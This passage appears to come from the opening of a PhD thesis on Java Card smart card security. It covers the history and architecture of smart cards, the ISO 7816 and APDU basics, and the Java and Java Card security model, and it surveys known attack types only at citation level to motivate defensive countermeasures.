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Foreword

« Si la chance n’est pas avec moi, tant pis pour elle ! »

— Once said by Christophe Clavier.

On our daily life, smart cards are the keystone of our security throughout the world. Most

smart cards are based on the Java Card1 technology. Such a smart card embeds a Virtual Machine

(VM) to execute applications upon a friendly development environment. This approach increases

the security of the platform. In 2014, around 7.7 billion of smart secure elements will be sold.

The security of the Java Card platform has been mainly studied by the literature. Until 2010,

the Java Card platform suffers of two kinds of attacks: software and physical attacks. Physical

attacks are focused on the cryptographic algorithms’ implementation to retrieve cryptographic

keys through side channel attacks [Cla07a,Koc96] or fault injection [BE+04,Cla+13b]. Software

attacks are based on the fact that the runtime relies on the Byte Code Verifier (BCV) to avoid

costly tests. Then, once someone finds an absence of a test during runtime, there is a possibility

that it leads to an attack path. Mainly, an attack aims at confusing the applet’s control flow upon

a corruption of the Java Card Program Counter or perturbation of the data [IC+10].

At CARDIS 2010, Barbu et al. [Bar+10] introduced a new kind of attack where a laser beam

injection perturbs an application. This application was compliant with the Java security rules

and was installed on a card where an embedded BCV had checked it. During the runtime, the

application is modified and an ill-formed code is executed. Their attack proves that a embedded

BCV can only prevent the installation of an ill-formed applet. But, an application can become an

ill-formed one via laser beam injection. As pointed by Vétillard et al. [Vét+10], combined attack

is a software attacks’ enabler on smart card.

This thesis began few months after the publication of these papers. This dissertation relates

the research undertaken within Smart Secure Devices (SSD) team in the XLIM laboratories. This

thesis aims at proposing a generic approach to improve and introduce efficient and affordable

high-level countermeasures which cover Java Card platform against the software attacks.

1Java and Java Card are registered trademarks of Oracle Inc. in the United States of America and other countries.
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Glossary

AES The Advanced Encryption Standard (AES) is a symmetric-key algorithm for encryption
of electronic data established by the U.S. National Institute of Standards and Technology
(NIST) in 2001. It supersedes the Data Encryption Standard (DES).

Byte code Byte code is a form of instruction set designed for efficient execution by a software
interpreter. The byte code is machine-independent code generated by the compiler and
executed by the Java virtual machine.

DES The Data Encryption Standard (DES) is a symmetric-key algorithm for the encryption of
electronic data. It was developed in the 70s at IBM and based on the Feistel function .

EEPROM Electrically-Erasable Programmable Read-Only Memory (EEPROM) is a non-volatile
memory where each pages can be independently read, erased, and re-written.

MNO Mobile Network Operator (MNO) provides wireless communications services and owns or
controls all the elements require to sell and deliver services to an end user.

PIN Personal Identification Number (PIN) is used to authenticate the owner for automated teller
machines and credit cards.

RAM Random Access Memory (RAM) is a memory where data are stored as volatile.

ROM Read Only Memory (ROM) is a non volatile memory which can be infinitely read. Once
data has been written onto a ROM chip, it cannot be removed.

RSA Rivest Shamir Adleman (RSA) is RSA a public-key cryptosystem widely used for secure
data communication .

Shellcode A shellcode is a small fragment of code used as the payload in the exploitation of a
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SIM A Subscriber Identity Module (SIM) is a smart card required by mobile phone devices to
identify and authenticate subscribers.
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Chapter 1

Introduction

“Begin at the beginning” the King said gravely, “and go on till you

come to the end; then stop”

— Lewis Carrol, Alice in Wonderland

Storing private and secret data requires secure elements which protect our assets against illegal

access. A secure element is a tamper-resistant platform which securely hosting applications and

their confidential and cryptographic data. The secure elements are everywhere around us – from

computers, cars, TV sets, secure SD cards, video game consoles and connected devices as mobile

phone, cars, fridge to next-gen devices. The most famous secure element is the smart card which

moved to everyday life.

A smart card is a secure, efficient and cost effective embedded system device that contains of a

microprocessor, memory modules (Random Access Memory (RAM), Read Only Memory (ROM),

Electrically-Erasable Programmable Read-Only Memory (EEPROM)) serial Input/Output (I/O)

interfaces and data bus. On chip operating system is stored in ROM and the applications are

stored in the EEPROM. On recent smart cards, the operating system boots on the ROM memory

and continues with the Flash memory. In this case, the application is stored on the Flash memory.

A smart card can also be viewed as an intelligent data carrier which can store data in a

secured manner and ensure data security during transactions. Security issues are one major area

of hindrance in smart card development and the level of threat imposed by malicious attacks on

the integrated software is of a high concern. To overcome this, industries and academia are trying

to develop countermeasures which protect the smart card from such attacks and keep transactions

secured [Bou+11c]. Size constraints restrict the amount of on chip memory and a majority of smart

cards on the market have at most 5 kB of RAM, 256 kB of ROM, and 256 kB of EEPROM which

has a deep impact on software design. The first tier safety relates to the underlying hardware.

To resist to an internal bus probing, all components (memory, Central Processing Unit (CPU),

crypto-processor, etc.) are on the same chip which is embedded with sensors covered by a resin.

Such sensors (light sensors, heat sensors, voltage sensors, etc.) are used to disable (temporarily or

permanently) the card or its applications when a physically attacked is detected. The software is

1



the second security barrier. The embedded programs are usually designed neither for returning

nor for modifying sensitive information without guarantying that the operation is authorised.

All applications stored in the smart card should be resistant to attacks. It is important to

analyse all the possible attack paths to mitigate them through adequate software countermeasures.

Software Security and Smart Card

From few decades, the smart card’s security is related to hardware security field. Using channel

side attacks [Cla07a,Koc96] or a fault injected [BE+04,Cla+13b] on the chip can retrieve secret

cryptographic keys used by the attacked cryptographic algorithm implementation.

The smart card’s software security depends on the respect of the Common Criteria and some

other development guidelines which specified the security requirements expected for the targeted

implementation. The security level of an implementation is verified, an Information Technology

Security Evaluation Facility (ITSEF) evaluates the products and checks the security requirements

based on the state of the art.

Before 2010, only three scientific publications [IC+10,Mos+08,Wit03] described new software

attacks against smart card. These attacks can be split into two categories: ill-formed application and

bug exploitation. The ill-formed application attacks succeeded because the card is not able to verify

that the code to execute is valid. A bug can exploit legal instructions when some checks are missing.

That allows the attacker to access unauthorised elements to set a system register for example.

These attacks can be counteracted by a code verifier embedded on the targeted card. Embed this

security component is a difficult work widely studied in the literature [Bas+99,Cas02b,Ler02,Ros03].

Nonetheless, nowadays few cards embed a partial code verifier.

In 2010, Barbu et al. [Bar+10] have introduced the concept of combined attacks where a

physical attack enables a software attack. In this case, a legal application successfully verified by

a code checked is loaded on a card. During the runtime, an external fault confuses the application

to execute ill-formed instruction. As pointed by Vétillard et al. [Vét+10], the hardware attacks

are a software attacks enabler on smart card.

Motivation and Overview

This thesis began few months after these publications. Mainly focused on how a code checker

can be embedded into the smart cards, the manufacturers hardly ever embed countermeasure

against combined attacks. These countermeasures are executed during runtime but they are often

inefficient. Moreover, several countermeasures are designed in a bottom-up approach, in such a

way that they cut efficiently the attack path but a new avatar of an attack path can be found

easily.

This thesis aims at designing a top-down approach to mitigate the attack by protecting the

assets instead of blocking the attack path. In order to have a generic view of all the attacks, we
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propose to use a fault tree analysis. This method used in safety analysis helps to understand and

model a set of events which represent the attack paths and the means to eradicate them. This

thesis adapts this method to Java Card vulnerability analysis.

This dissertation is split intro three parts. The first part sets the context of our researches.

Chapter 2 introduces the smart card in its architecture and its environment. Chapter 3 presents the

Java Card technology which aims at being a friendly development environment where Java-based

applications are securely executed. This technology is widely used in the smart card world and it

is embedded in most smart cards worldwide.

The second part surveys the state of the art. A smart card embeds critical information

which interest evil-minded people. To increase the security of these cards, some attacks and

countermeasures had been proposed by the literature. They are surveyed in the second part of

this thesis. Chapter 4 details the already known attacks against smart cards and more particularly

Java Card platforms. Chapter 5 describes the state-of-the-art software countermeasures developed

to protect the card against the software attacks.

The third part explains the contributions of this thesis. The state of the art is often though with

a bottom-up approach. Moreover, often countermeasures are dedicated for protecting the device

against a specific attack path. Chapter 6 applies the Fault Tree Analysis in the smart card domain.

This chapter defines the properties that must be ensured: integrity and confidentiality of smart

card data and code. By modelling the conditions, new attack paths are discovered to get access to

the smart card contents. During this thesis, we mainly focus on how to protect the code integrity.

Breaking the code integrity should breach the data integrity and the confidentiality of the code and

data. This thesis presents two ways to break the code integrity: cheating the application’s control

flow or corrupting the Java Card linker. Using the fault tree approach, Chapter 7 presents newly

disclosed attack paths which change smart card control flow security. This chapter also introduces

high-level countermeasures to cover the control flow security. Next, Chapter 8 focuses on the Java

Card linker to improve its security. Indeed, during the installation of an application, corrupting

the linker aims at installing a different application from the one loaded on the card. This chapter

also presents countermeasures to prevent the linker to be corrupted. Finally, The results shown in

Chapter 9 validate our approach. This thesis concludes by its perspectives.
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Chapter 2

The Smart Card

“With the advent of the transistor and the work in semiconductors, it

seems now possible to envisage electronics equipment in a solid block with no

connecting wires. The block may consist of layers of insulating, conducting,

rectifying, and amplifying materials, the electrical functions being connected

directly by cutting out areas of various layers.”

— Geoffroy Dummer
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In daily life, one uses smart cards which help them to pay money for travel, phone, etc. And

now, it attracts a lot of markets’ attentions. The Eurosmart association forecasts that 7.7 billion

smart secure elements, included smart cards, will be sold in 2014 [Eur14].

This chapter aims to introduce the smart card. First, its history is presented in Section 2.1.

After describing the invention of the modern smart card, the internal architecture of the recent

card is described in Section 2.2. To finish, Section 2.3 presents often typical applications of smart

cards before concluding this chapter.
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2.1 The History of the Smart Card

2.1.1 The Roots of the Smart Card

At the beginning of year 1950 [Mil50], to ease payment of the New Yorker Diners’ club members,

Frank McNamara, in charge of the financial part, proposed a plastic payment card. A customer

who have no cash then could pay the bill easily. The Diners’ club card, Figure 2.1, was the first

bank card and it was used by 200 customers and accepted in 27 restaurants in New York city.

Figure 2.1: The diners’ club card (from: [Woo+11]).

The American Express credit card appeared in 1956 and its sample is presented in Figure 2.2.

The Bank of America distributed the card called BankAmericard since 1958. Nowadays, this card

is known as Visa card.

Figure 2.2: The first American Express card. (source: [Woo+11]).

In the 60s, IBM engineers, in narrow link with the American government, used magnetic strips

to secure the storage system on plastic card. This process is described by Svigals in [Svi12]. London

public transport and the urban area of San Francisco transits set up tickets on magnetic strips

that we use everyday. Today, the MIFARE technology aims at changing tickets on magnetic strips

by contactless cards.
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2.1.2 The Genesis of the Modern Smart Card

Contrary to what the French people think, the invention of the smart card is not only due to the

French Roland Moreno. Indeed, since 1947, the British Geoffroy Dummer laid the foundation for

the future of the smart card. As an Electronics engineer from the Ministry of Defence of England,

he designed a portable memory which could embed at around 64 bits of data. Its memory is made

of a substratum Bakelite1 where are printed very fine brass tracks. This memory should be set

under an important electric current. Dummer presented his works [Dum] in 1952.

In 1969, two German engineers Jürgen Dethloff and Helmut Gröttrup, at the Giesecke &

Devrient (G&D) company, invented the first integrated circuit containing a microcontroller in a

plastic card. Their idea did not yet exist on any market and they patented it [Det72] in 1972. They

had to wait until 1982 to see these cards used for the French phone booths.

Quickly after, in 1970, the Japanese researcher Kunitaka Arimura is the first and only one

who patented the concept of smart card in Japan. At the same time, Jules Ellingboe submitted a

patent [Ell72] which describes an electronic payment card.

In 1974, the jack-of-all-trades Roland Moreno designed a card what will be the modern smart

card. Through his company, Innovatron, he patented a smart chip dedicated to store and exchange

sensitive data [Mor78]. In [Mor76], Moreno devised a software and hardware mechanism, presented

as inviolable, preventing the memory from non authorised access. For that purpose, Moreno used

an inhibitor mechanism. His proposed inhibitor can be:

• an internal comparison of the PIN,

• an error counter which can enable the chip destruction due to the repeated submission of a

wrong PIN,

• a mechanism to execute a simple process,

• an access protection (read and write) on specific areas. Those sensitive areas can contain

secret codes, cryptographic keys, etc.

Those mechanisms, improved today, are still used in the modern smart card. The chip prototype,

designed by Moreno is shown in Figure 2.3.

2.1.2.1 When The Card Becomes Smart

In 1975, the Honeywell Bull company, thanks to the work of Bernard Badet, François Guillaume

and Karel Kuzweil patented [Bad+80] a portable card such as a credit card. This card embeds an

electrical signal processing mechanism.

1It is the first plastic makes from polymers synthetic.
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Figure 2.3: The smart ring (source: http://www.rolandmoreno.com).

In 1977, again, the German Dethloff who patented a card with portable memory embedding

inhibitors into the microcontroller. The main advantage of this technique is that the microcontroller

is easily reconfigurable through a programming mechanism.

One year later, Michel Ugon proposed a patent with the Bull company, a non volatile memory

named Self-Programmable One-chip Microcomputer (SPOM). Through this technology, there is

also possible to embed the Moreno’s inhibitor inside the chip. In 1979, the Bull company presented

the first smart card named Bull CP8, as shown in Figure 2.4. This card has an 27C16 EEPROM

with 16 bytes and a 8-bit microprocessor. So, the card becomes a smart device.

Figure 2.4: The Bull CP8.

The curious reader can delve into this epic story through this retrospective of the smart

card [She+04].

2.2 The Design of the Modern Smart Card

To interact with its environment, the smart card is compliant with the ISO/IEC 7816 [ISO07].

The ISO/IEC 7816 standard is split into fifteen parts standardised in 1998 and revisited regularly:

• Part 1: Cards with contacts – Physical characteristics;

• Part 2: Cards with contacts – Dimensions and location of the contacts;
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• Part 3: Cards with contacts – Electrical interface and transmission protocols;

• Part 4: Organisation, security and commands for interchange;

• Part 5: Registration of application providers;

• Part 6: Interindustry data elements for interchange;

• Part 7: Interindustry commands for structured card query language;

• Part 8: Commands for security operations;

• Part 9: Commands for card management;

• Part 10: Electronic signals and answer to reset for synchronous cards;

• Part 11: Personal verification through biometric methods;

• Part 12: Cards with contacts – Universal Serial Bus (USB) electrical interface and operating

procedures;

• Part 13: Commands for application management in a multi-application environment;

• Part 15: Cryptographic information application.

As presented by the standard, parts 1, 2, 3, 10 and 12 are specific to cards with galvanic

contacts and three of them specify electrical interfaces. The other parts are independent of the

physical interface technology and they apply to cards which can be accessed by contacts and/or

by contactless technology [Wik14].

2.2.1 Physical Requirements

Mainly packaged into a piece of plastic, the smart card is composed by a chip located under

the contact area. On a contact smart card, the contact area measures one square centimetre,

comprising several gold-plated contact pads. Those pads provided electrical signal when the card

is inserted into a reader. Indeed, the card needs not only external power supplies to work but

also clock and reset signal. Specified by the ISO/IEC 7816 part 2, the smart card has 8 contacts

(Figure 2.5) where:

Page 11



C1 - Vcc

C2 - RST

C3 - CLK

C4 - RFU

C5 - GND

C6 - Vpp

C7 - I/O

C8 - RFU

Figure 2.5: Smart card’s pin out
[Wik14].

• Contact C1 is assigned to supply voltage (Vcc);

• Contact C2 is assigned to reset signal (RST);

• Contact C3 is assigned to the external clock signal

(CLK);

• Contact C4 is reserved for future used (RFU);

• Contact C5 is assigned to electric ground (GND);

• Contact C6 is assigned to variable supply voltage

(Vpp)

• Contact C7 is assigned to data I/O signal;

• Contact C8, as the contact C4, is RFU.
Since the USB connection is more and more used to communicate with the smart card, contacts

C4 and C8 are used for to exchange which the host.

Recent smart cards are contactless. The chip is also connected to an antenna integrated into the

plastic body. The communication is done over the air thanks the Radio-Frequency IDentification

(RFID) technology [ISO00,ISO04].

2.2.2 Communication with the External World

To exchange information with the host, a smart card is compliant with ISO/IEC 7816-3. This part

specifies the two low layout protocols used to transmit information. The two transmission protocols

are T=0 – a character-level transmission protocol – and T=1, as a block-level transmission protocol.

For the contactless card, the ISO 14443-4 standardises the transmission protocol based on the T=0

and T=1 protocols.

In additional to those low level transmission protocols, the ISO/IEC 7816-4 defines the Applica-

tion Protocol Data Unit (APDU). There are two categories of APDU messages: APDU commands

from the host to the card and APDU responses sent by the card to the host. An APDU command

contains a mandatory 4-byte header (CLA, INS, P1, P2) and from 0 to 255 bytes of data. The size

of those data is represented by the Lc element and the response size expected is set into the Le

value.

Header Body

CLA INS P1 P2 Lc Data field Le

Figure 2.6: An APDU command.

An APDU response is sent by the card to the reader. This response contains a mandatory

2-byte Status Word (SW) and from 0 to 255 bytes of data. The length of the data replied by the
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card can be indicated on the begin of the APDU response.

Data length Data field SW

Figure 2.7: An APDU response.

2.2.3 Inside the Chip

Contrary to all other smart card’s parts, the internal elements’ documents are not public by

the manufacturer. One knows that a smart card is a device which embeds microprocessors and

memories. Modern smart cards have a processor and a crypto-processor optimised to compute

cryptographic operations. Its memory is composed by a RAM module, a ROM area and a Non

Volatile Memory (NVM) (like EEPROM module) part. On the new smart cards, the ROM and

NVM modules are merged into a flash memory. The main smart card’s architecture is shown in

Figure 2.8.

RAM NVM ROM
Security
sensors

CPU

Random Number
Generator (RNG)

Symmetric
crypto.

Asymmetric
crypto.

GNDVcc

RST

CLK i/o

address / data / control bus

Figure 2.8: General architecture of the smart card internal circuit [Bar12, with modifications].

Each memory has a different aim. In a smart card, the Operating System (OS) and miscellaneous

information (programs, Application Programming Interface (API) and data) are stored in the

ROM part. Personal information is set in the card during a personalisation process, and programs

installed after the card delivery are placed into the EEPROM memory.

Inside the plastic body, the smart card’s chip is packaged below the gold-plated contact as

presented in Figure 2.9. Often protected by a shield, the encapsulated chip is sticked with an

adhesive to the gold-plated contact pads. The wires are used to connect the chip to the contact

are often very thin.

To prevent invasive attacks, the smart card’s chip embeds many sensors (for detecting light, ther-

mal modification, etc.), memories’ redundancy and a shield. From a Scanning Electron Microscope

(SEM), the smart card’s chip is like that one shown in Figure 2.10.

The process used to depackage a chip is presented by Skorobogatov in [Sko05]. Once opened,

the chip can reveal crucial information.
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Active Chip Side

Chip Adhesive

Chip

Metal Contacts

Card Body

Encapsulation
Substrate

Bond Wire

Hotmelt

Figure 2.9: Smart card structure and packaging [Wik14, with modifications].

Figure 2.10: Decapsulated smart card chip [IOA12].

2.3 Smart Card’s Ecosystem

Nowadays, we use smart card for many purposes. A smart card authenticates tis owner to access

the restricted features. For that purpose, the cards embed secrets which prove the owner’s identity.

The secrets contained into the card must not leak outside. Moreover, if the card detects an attack,

it may self-kill.

The main smart card’s market share includes:

The financial world for paying, or for withdrawing from an ATM, etc. upon a credit card

delivered by a bank institute. The best known credit cards are Visa, MasterCard and

American Express;
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Telecommunications company where each user has a Subscriber Identity Modules (SIM) card.

This card, provided by a Mobile Network Operator (MNO), identifies the user through the

mobile network;

Identity e-document are provided by governments (e-governance), companies or schools for

people identification purpose. For instance, Spanish and Belgian governments deliver an

electronic ID card for its citizens. This kind of cards may contain biometric information, as

for example in France for the new driving licence and the news resident cards. It is also the

case of the biometric passport needed by some countries (the USA, for example). This kind

of passport has been introduced in France in 2006.

Smart cards can also be found within some companies, where a specific security level is applied.

They impose their employees to have an electronic ID to access to restricted facilities.

Smart cards are also provided to student at schools, colleges, and universities. In this case,

the card is used:

• to track student attendance,

• as an electronic purse: to pay foods, laundry facilities, etc.,

• to track loans from the library,

• to control the access for admittance to restricted buildings as dormitories, laboratories

and other facilities,

• to access transportation services;

The public transit when one moves. To travel on a bus or metro, transit companies provide a

smart card which contains the owner session ticket;

Other uses of a smart card has been provided for health care and pay TV. As presented in

[Wik14]: “the smart health cards improve the patient information privacy and security, provide

a secure carrier for portable medical records, reduce health care fraud, support new processes

for portable medical records, provide secure access to emergency medical information, enable

compliance with government initiatives (e. g., organ donation) and mandates, and provide

the platform to implement other applications as needed by the health care organisation”.

Another example is the pay TV cards which contain information to decipher channels provided

by a TV company. This process, linked with the customer’s subscription, are used to protect

the company’s assets.

2.4 Conclusion

In this chapter, after an overview of the smart card history, the modern smart card architecture

and its applications were presented.
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Generally, smart cards are used for the authentication and the storage of critical data and also

for processing data (crypto-processor). There are two main categories of smart cards. On one

hand, the closed platforms, which do not allow the installation of applications other than those

already embedded in the card by the manufacturer. On the other hand, the open platforms offer

the possibility of installing several applications even after insurance of the card. This type of

platform is articulated around a public specification (Java Card smart cards for example) or not

(cards which embed a virtual .Net machine for example).
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The Java Card Technology

“Every time a Gonda wanted something new, some clothes, a trip, some

objects, he would pay with his key. He would bend his middle finger, would

enter his key and his account at the central computer would immediately be

reduced by the value of the merchandise or the requested service.”

— René Barjavel, The dawn of time
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Developing smart card applications is a long and difficult process. Despite the standardisation

of some elements – as power supply, input and output signals – smart card development required

proprietary APIs provided by each manufacturer. The main drawback of this development approach

is the code of the application. Indeed, it can be executed only in the specific platform. The

companies which developed smart card programs depended of the card manufacturer. When a

developer changes the card model, he should adapt the application to the proposed API.

In this chapter, the Java Card technology is presented. To have a better overview, the Java

technology is introduced through each mechanisms included in the Java architecture. This part is

explained in Section 3.1.
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To improve the security and the development process, the Java technology is embedded into

the smart card. Due to the resource constraint of this device, the Java Card technology is a subset

of the Java technology. To be compliant with the Java architecture, some trade-offs are made to

be included the power of the Java technology. More details are given in Section 3.2.

3.1 The Java Technology

3.1.1 A Brief Overview of Java

At the end of 1990, Sun Microsystem initiated an internal project about a programming language

to embed into domestic appliances to manage them. This project, named Green, aimed at creating

an universal remote control to manage each domestic appliance.

After trying to extend the C++ language to embed it in various appliances, James Gosling

realised that this approach raised to many difficulties. He decided to create an object-oriented

programming language with the main features of the C++ language. This language was originally

called Oak1. However, as the name was already used as the name of a company, it was renamed

Java to refer to the favourite drink of programmers (the coffee).

The project finished in 1992 with the presentation of Green [Gos07]. This remote control, looks

like a Personal Digital Assistant (PDA), it has an OS (Green OS), a graphical user interface and

a smart assistant named Duke. With this remote control, it is possible to handle each compatible

domestic appliance.

Sun Microsystems succeeded to create a programming language for heterogeneous environments.

At the beginning of 2007, Oracle bought Sun Microsystems.

Nowadays, the Java programming language is the main language used to develop desktop, web

and distributed applications.

3.1.2 How to Run a Java Application?

Java is an object-oriented and strongly typed language. It is syntactically inspired by the C++

language. However, it keeps some things. The most subtle concepts such as pointer are hidden to

the developer. In addition, multiple inheritance likes in C++ language is replaced by the use of

interfaces to reduce code complexity.

To execute a program developed in the Java-language – composed by a set of Java files – it

shall be compiled into a set a Class files. The Java-architecture defines a container, with the

extension Jar for Java ARchive. This container type, like the Zip format, is used to distribute

a set of Class files, resources files and metadata which compose the application. The Java

toolchain mechanism is presented in Figure 3.1.

1This name is a wink to the oak which was front of Gosling’s office
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Java compiler
(javac)

Java file 1

Java file 2

...

Java file N
Java API and
dependencies

Metadata

Class
file 1

Class
file 2

...

Class
file Y

Java archive
(Jar)

Figure 3.1: The figure presents the Java building mechanism. The Java-toolchain takes as input a set of
Java file with the extension .java. Based on the Java-API and other dependencies provided as
Class files or Jar files, the Java-toolchain builds the Class files associated to each classes
declared into the given Java files. If a Jar container is asked as output, the Java-toolchain
creates metadata needed to correctly execute the Java application. This part is dashed in the
figure.

Each obtained Class file describes a Java class declared into the program source code. This

file type is a set of the following binary basic sections:

The magic number indicates the file type. Therefore, for a Java-Class file, this value shall be

0xCAFEBABE.

The version of Class file format gives information to the Java Virtual Machine (JVM) to

check the compatibility with the Java-Class loading.

The Constant Pool table contains the literal constant values of the current Java class (numeri-

cal values and character string) and more complex elements as data type, method references,

etc.

Access flags indicates is the current class type is abstract, static or final and its visibility as

public, private, protected or nothing.

The Name of the current class.

Its superclass.

Interfaces Any interfaces implemented by current class.

Class Fields Any fields in the current class.
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Methods All abstract methods and all implemented methods in the current class.

Attributes Any attributes of the current class.

This file is executable by any interpreter and does not contain native instructions but an

intermediate code structured by some byte codes. Each byte code is executed through an abstracted

layer provided by the JVM. This Virtual Machine (VM) is specified by Oracle [Gos+13,Lin+13]

and it offers, for the Java applications, an independence with the host execution platform. The

JVM implementation is in charge to execute each Java-instruction.

3.1.3 The Java Sandbox

Since the Java design started, Java creators focused on the security side. To prevent the JVM

from an unauthorised behaviour, the Java platform includes, at different layers, some security

mechanisms in order to execute an application which is compliant with the Java security rules. An

exhaustive description of the Java security mechanisms is available in [Oak01].

3.1.3.1 The Security Aspects included in the Java-Language

The Java-language is strongly typed. In contrast with the C++ language, performing pointer

arithmetic is forbidden. Moreover, the use of pointer is hidden. It’s the role of the JVM to manage

the memory. The JVM checks too the array bounds.

3.1.3.2 The Security Elements

The Byte Code Verifier (BCV) insures that each Class file loaded is compliant with the

Java language rules and the structure respects the one expected by the JVM. Not all Java

classes are checked. Only the external ones are statically verified by the BCV. For the

internal classes, the checks are done dynamically by the Just In Time (JIT) compiler.

The Java-Class loader: the Java platform, dynamically loads into memory the classes needed

by the application. The JVM uses at least one class loader. The last one shall be the system

loader reserved to load the standard API classes. Each class loader is responsible for calling

the BCV to check the classes to load.

The class loader shall only load a class if:

• The application allows to import the required class.

• The class was not loaded. If a more recent version of a loaded class is needed, the class

loader disallows the replacement.

The access controller verifies each call from the standard API to the OS. The verifications are

based on rules, defined by the user.
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The security manager is a main security element between the standard API and the OS. It

has the ultimate choice to allow an access to a resource of the system. However, for historic

reasons, it keeps the same choice as the access controller.

The security package is a set of classes which extends the security features of the applications.

Moreover, this package provides functions to sign Java Class.

The keystore is a set of keys used into the Java infrastructure to create and verify signatures.

In the Java architecture, this part is included in the security package.

3.1.4 Java and Portability

An application is portable when its source code can be used, without modification, on different

architectures. Indeed, the program source code shall be translated to a language recognised by the

targeted platform.

Java architecture is designed to be a standardised platform where an intermediate code com-

posed by byte code is executed. This byte code is interpreted by the runtime environment.

Java interoperability is guaranteed by the Java specification [Ora11d]. The Java architecture

is independent of the execution layer. The Java leitmotiv which is “Write once, run anywhere”.

Moreover, Oracle provides an open-source reference implementation under the GNU General

Public License (GPL) licence for most of its platform. A program developed in the Java language

is portable in the sense that it runs independently from the hardware and software configurations.

Since a Java platform is deployed on an environment, it may be necessary to allow any Java

applications to execute fragment of code developed in another language. This code shall be executed

through the native layer. Historically, the developers adopted the Java platform in order to execute

classic applications written in C or C++ language. Due to the investments done on the existing

code, over many years, the Java applications included frameworks developed in C/C++ language.

To extend the JVM, the Java Native Interface (JNI) [Lia99] provides a way to execute some

fragments of code coded in another language. As this interface is embedded in the JVM, the JNI

allows a Java application to execute native code. Figure 3.2 synthesised the Java architecture.

To ensure that an implementation is compliant with the Java specification, Oracle provides tests

cases in the Java Compatibility Kit (JCK). This JCK checks each part of the JVM implementation

(each instruction is checked, each API is compliant with the specification, etc.).

3.2 Java Card Platform

Developing an application which supports a set of smart card models is a very expensive work. In Oc-

tober 1996, to reduce the development cost, some engineers from Schlumberger designed [Bae+99]

the first Java Card smart card specification (Java Card platform 1.0). This future standard com-

bined the power and the portability of Java platform with the limited resources of a smart card.
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Figure 3.2: This figure illustrates a global view of the Java architecture. In this graphic, the green coloured
parts are executed via the Java byte code. Next, in orange colour, one sees the OS layout.
Finally, in red colour, the hardware layout, only accessible through the OS, is shown.

The Java Card technology embeds a subset of the Java technology. The first smart which embeds

the Java Card platform is out in November 1996 [Vét+13]. On this card, the Java applications

have been executed into the card through proprietary scripts.

3.2.1 Java Card Platform: a Technology Constantly Evolves

Few months later, Bull, G&D and Gemplus met Schlumberger to create the Java Card Forum

(JCF)2. At the end of 1997, the JCF specified Java Card 2.0 platform. This version is split in

two parts. The first one describes an API to access to the smart card memory and includes some

cryptographic functions. The other part specified the Java Card Virtual Machine (JCVM) where

it is designed as a simple JVM that embeds a subset of the Java-language.

As presented by Baentsch et al. in [Bae+99], this Java Card 2.0 platform version does not take

into account the interoperability and the Java Card program portability because:

• The API specification provides a file system access that could not be adapted on various

proprietary implementations;

• Some missing cryptographic features into the API was not flexible enough regarding the

exportation rules;

• The Java-application compilation and installation always depend on a proprietary program

provided by the smart card manufacturers;

2In 2014, the JCF, in partnership with Oracle, includes the main smart card companies (Athena, Gemalto, G&D,
Morpho, NXP Semiconductors, Oberthur Technologies, STMicroelectronics and Watchdata).
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• The API is very abstract. Thus, the development for different Java Card devices is rather

complex.

In March 1999, the Java Card 2.1 platform is specified through three entities. Each entity

corresponds to a part of the Java Card architecture. Those entities are:

1. The JCVM specification;

2. The API specification;

3. The Java Card Runtime Environment (JCRE) specification.

The proposed architecture is not based on an application executed on the native layout but

executed through a VM embedded in the card. This VM, compliant with the Java Card specification,

translates each Java instruction to a set of native ones understandable by the OS.

This version is improved, in June 2002, by the Java Card 2.2 platform and the update 2.2.1

which adds the support for latest SIM card standards, the advanced memory management, an easier

design and development of applications, the strict compatibility testing, the latest cryptography

algorithms and a backward compatibility with all previous versions. In 2006, the Java Card

platform had an incremental update titled 2.2.2 which added some new features to the Java Card

platform. A list of features included by this specification is:

• APIs for Tag Length Value (TLV), Binary-Coded Decimal (BCD), short and int;

• Management of multiple contact/contactless interfaces;

• Support for up to 20 logical channels3;

• ISO7816-based extended length APDU support;

• Additional cryptography algorithms;

• Signature with message recovery;

• Partial message digest;

• External memory access API.

Since March 2008, the Java Card platform 3 is specified by Oracle. This version introduces

two different platforms: the Java Card “Classic Edition” [Ora11d] and the Java Card “Connected

Edition” [Ora11e]. The Java Card 3 high-level architecture is shown in Figure 3.3.

3Specified by the ISO/IEC 7816-4 [ISO07], a logical channel can be viewed as a session which allows the concurrent
execution of multiple applications on the card. From the terminal, the logical channels allow it to handle different
tasks at the same time.
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Figure 3.3: High-level architecture of the Java Card 3 platform [SM08].

The Java Card 3 “Classic Edition” is an evolution of the Java Card platform version 2.2.2 and

supports traditional card applets on more resource-constrained devices. The Java Card “Connected

Edition” adds a network manager into the Java Card smart card. The network manager aims

at embedding new secure components as HTTP(s) web server, network identification or access

to network resources into the smart card. So, this edition is based on a device which embeds

more resources in order to execute web applet named servlet. A complete analysis of the platform

security was studied by Kamel’s PhD thesis [Kam12] and Barbu’s PhD thesis [Bar12]. Currently,

no product embeds this technology.

For this study, I focused on the smart cards which embed a JCVM compliant with the Java

Card 3 “Classic Edition”. In this memory, each discussion on Java Card refers to the “Classic

Edition”.

3.2.2 The Java Card Security Model

To be compliant with the Java security rules, the Java Card security model verifying the semantics

of the Java program. It ensures that the checked applet file format respects the specification

(structural verification) and that all methods are well-formed and verify the type system of Java.

It is a complex process for a card which involving an elaborate program analysis using a very

costly algorithm in terms of time consumption and memory usage. Next is the Java Card converter

which translates each Java Card package into a Converted Applet (CAP) file. A CAP file is a

lightweight Class based on the tokens. This file format is designed to be optimized for the

resource-constraint devices. The organisation which provides the applet may sign4 the application

for the on-card loader that will verify the signature. The signature is an optional step. This

4Due security reasons, the ability to download code into the card is controlled by a protocol defined by Glob-
alPlatform [Glo11]. This protocol ensures that the owner of the code has the necessary authorisation to perform the
action.
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verification ensures the loader the origin of the code, and thus that the code is compliant with the

Java security rules. This step is shown in Figure 3.4(a).

Java Class Files Java Card Files

Byte code Converter BCV Byte code Signer

(a) Off-card security model.

Java
Card
Files

BCV
Installed
applet

Firewall

(b) On-card security model.

Figure 3.4: The Java Card security model.

The second part of the security model is embedded into the smart card (Figure 3.4(b)). The

loader verifies the signature and optionally a BCV might verify the Java security compliance of

the CAP file to be installed. Currently, just a few Java Cards embed an on-card BCV component.

The applet to be installed is linked after some potential checks. Once an applet is installed, the

segregation of different applets is enforced by the firewall which is based on the package structure

of Java Card and the notion of context.

The Java Card platform is a multi-application environment where the critical data of an applet

must be protected against malicious access from another applet. To enforce protection between

applets, classical Java technology uses the type verification, class loader and security managers to

create private namespaces for applets. In a smart card, complying with the traditional enforcement

process is not possible. The type verification is also executed outside the card due to memory

